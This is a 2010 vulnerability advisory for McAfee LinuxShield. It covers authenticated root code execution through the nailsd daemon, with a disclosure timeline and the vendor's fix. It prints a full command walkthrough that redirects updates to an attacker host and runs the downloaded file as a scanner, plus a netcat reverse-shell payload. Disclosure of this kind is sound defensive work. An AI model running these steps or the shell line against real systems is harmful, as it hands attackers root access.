SecurityvulnsSECURITYVULNS:DOC:23322NSOADV-2010-004: McAfee LinuxShield remote/local code execution
NSOADV-2010-004: McAfee LinuxShield remote/local code execution
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Title: McAfee LinuxShield remote/local code
execution
Severity: Medium
Advisory ID: NSOADV-2010-004
Found Date: 07.12.2009
Date Reported: 05.02.2010
Release Date: 02.03.2010
Author: Nikolas Sotiriu (lofi)
Website: http://sotiriu.de
Twitter: http://twitter.com/nsoresearch
Mail: nso-research at sotiriu.de
URL: http://sotiriu.de/adv/NSOADV-2010-004.txt
Vendor: McAfee (http://www.mcafee.com/)
Affected Products: McAfee LinuxShield <= 1.5.1
Not Affected Products: McAfee LinuxShield 1.5.1 with HF550192
Remote Exploitable: Yes (attacker must be authenticated)
Local Exploitable: Yes
Patch Status: Vendor released a patch (See Solution)
Discovered by: Nikolas Sotiriu
Thanks to: Thierry Zoller: For the permission to use his
Policy
Background:
LinuxShield detects and removes viruses and other potentially unwanted
software on Linux-based systems. LinuxShield uses the powerful McAfee
scanning engine — the engine common to all our anti-virus products.
Although a few years ago, the Linux operating system was considered a
secure environment, it is now seeing more occurrences of software
specifically written to attack or exploit security weaknesses in
Linux-based systems. Increasingly, Linux-based systems interact with
Windows-based computers. Although viruses written to attack Windows-
based systems do not directly attack Linux systems, a Linux server
can harbor these viruses, ready to infect any client that connects to
it.
When installed on your Linux systems, LinuxShield provides protection
against viruses, Trojan horses, and other types of potentially
unwanted software.
LinuxShield scans files as they are opened and closed — a technique
known as on-access scanning. LinuxShield also incorporates an
on-demand scanner that enables you to scan any directory or file in
your host at any time.
When kept up-to-date with the latest virus-definition (DAT) files,
LinuxShield is an important part of your network security. We
recommend that you set up an anti-virus security policy for your
network, incorporating as many protective measures as possible.
LinuxShield uses a web-browser interface, and a large number of
LinuxShield installations can be centrally controlled by ePolicy
Orchestrator.
(Product description from LinuxShield Product Guide)
Description:
This vulnerability allows remote attackers to execute arbitrary code
on vulnerable installations of McAfee LinuxShield. User interaction
is not required to exploit this vulnerability but an attacker must
be authenticated.
The LinuxShield Webinterface communicates with the localy installed
"nailsd" daemon, which listens on port 65443/tcp, to do configuration
changes, query the configuration and execute tasks.
Each user, which can login to the victim box, can also authenticate
it self to the "nailsd" and can do configuration changes and execute
tasks with root privileges.
A direct execution of commands is not possible, but it is possible to
download and execute code through manipulation of the config and
execute schedule tasks of the LinuxShield.
walk-through (after the TLS handshake):
±-------------------------------------
nailsd > +OK welcome to the NAILS Statistics Service
attacker> auth <user> <pass>
nailsd > +OK successful authentication
Set the Attacker repository to download our code from a httpd
(catalog.z)
#---------------------------------------------------------------
attacker> db set 1 _table=repository status=1 siteList=<?xml\ version
="1.0"\ encoding="UTF-8"?><ns:SiteLists\ xmlns:ns="naSiteLi
st"\ GlobalVersion="20030131003110"\ LocalVersion="20091209
161903"\ Type="Client"><SiteList\ Default="1"\ Name="SomeGU
ID"><HttpSite\ Type="repository"\ Name="EvilRepo"\ Order="1
"\ Server="<attackerhost>:80"\ Enabled="1"\ Local="1"><Rela
tivePath>nai</RelativePath><UseAuth>0</UseAuth><UserName></
UserName><Password\ Encrypted="0"/></HttpSite></SiteList></
ns:SiteLists> _cmd=update
nailsd > +OK database changes buffered.
Execute task to set the attacker repository
#---------------------------------------------------------------
attacker> task setsitelist
nailsd > +OK setting sitelist from CMA.
Execute the default Update task to download the code
#---------------------------------------------------------------
attacker> task nstart LinuxShield Update
nailsd > +OK task LinuxShield Update starting
Create a Scan profile, which executes our code. The profiles are
not stored in the database.
Scan Profiles: /var/opt/NAI/LinuxShield/etc/ods.cfg
#---------------------------------------------------------------
attacker> sconf ODS_99 begin
nailsd > +OK 1260400888
Set the variable "nailsd.profile.ODS_99.scannerPath" to the path
where our earlier downloaded catalog.z file is stored.
(/opt/McAfee/cma/scratch/update/catalog.z)
#---------------------------------------------------------------
attacker> sconf ODS_99 set 1260400888 nailsd.profile.ODS_99.allFiles=
true nailsd.profile.ODS_99.childInitTmo=60 nailsd.profile.O
DS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=
10000 nailsd.profile.ODS_5.datPath=/opt/NAI/LinuxShield/eng
ine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.pro
file.ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibD
ir=/opt/NAI/LinuxShield/engine/lib nailsd.profile.ODS_99.en
ginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so nailsd
.profile.ODS_99.factoryInitTmo=60 nailsd.profile.ODS_99.heu
risticAnalysis=true nailsd.profile.ODS_99.macroAnalysis=tru
e nailsd.profile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99
.mime=true nailsd.profile.ODS_99.noJokes=false nailsd.profi
le.ODS_99.program=true nailsd.profile.ODS_99.quarantineChil
dren=1 nailsd.profile.ODS_99.quarantineDirectory=/quarantin
e nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.pr
ofile.ODS_99.scanChildren=2 nailsd.profile.ODS_99.scanMaxTm
o=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profile
.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=t
rue nailsd.profile.ODS_99.scannerPath=/opt/McAfee/cma/scrat
ch/update/catalog.z nailsd.profile.ODS_99.scansPerChild=100
00 nailsd.profile.ODS_99.slowScanChildren=0 nailsd.profile.
ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.fil
ter.0.path=/proc nailsd.profile.ODS_99.filter.0.subdir=true
nailsd.profile.ODS_99.filter.extensions.mode=all nailsd.pr
ofile.ODS_99.filter.extensions.type=extension nailsd.profil
e.ODS_99.action.Default.primary=Clean nailsd.profile.ODS_99
.action.Default.secondary=Quarantine nailsd.profile.ODS_99.
action.App.primary=Clean nailsd.profile.ODS_99.action.App.s
econdary=Quarantine nailsd.profile.ODS_99.action.timeout=Pa
ss nailsd.profile.ODS_99.action.error=Block
nailsd > +OK configuration changes buffered
attacker> sconf ODS_99 commit 1260400888
nailsd > +OK configuration changes stored
Set a scan task with the manipulated profile to execute the code
#---------------------------------------------------------------
attacker> db set 1260400888 _table=schedule taskName=Evil Task taskTy
pe=On-Demand taskInfo=profileName=ODS_99,paths=path:/root/t
mp;exclude:false timetable=type=unscheduled taskResults=0 i
_lastRun=1260318482 status=Stopped _cmd=insert
nailsd > +OK database changes buffered
Execute scan task to execute the code
#---------------------------------------------------------------
attacker> task nstart Evil Task
±------------------------------------- walk-through EOF
To get a reverse root shell place something like this in the catalog.z
— snip —
#!/bin/sh
nc -nv <attacker_host> 4444 -e /bin/sh
— /snip —
Proof of Concept :
http://sotiriu.de/software/NSOPOC-2010-004.tar.gz
Solution:
McAfee Advisory
±-------------
https://kc.mcafee.com/corporate/index?page=content&id=SB10007
Disclosure Timeline (YYYY/MM/DD):
2009.12.07: Vulnerability found
2010.02.03: Asked vendor for a PGP key
2010.02.05: Vendor sent his PGP key
2010.02.05: Sent PoC, Advisory, Disclosure policy and planned disclosure
date (2010.02.18) to Vendor
2010.02.05: Vendor acknowledges the reception of the advisory
2010.02.16: Ask for a status update, because the planned release date is
2010.02.18.
2010.02.16: Vendor response that, they are currently working on a patch
2010.02.17: Changed release date to 2010.02.25.
2010.02.22: Vendor gives a status update, that they are able to release
the patch on 2010.02.25.
2010.02.24: Ask for a list of affected products and the advisory url.
2010.02.24: Vendor sends the list.
2010.03.02: Release of this Advisory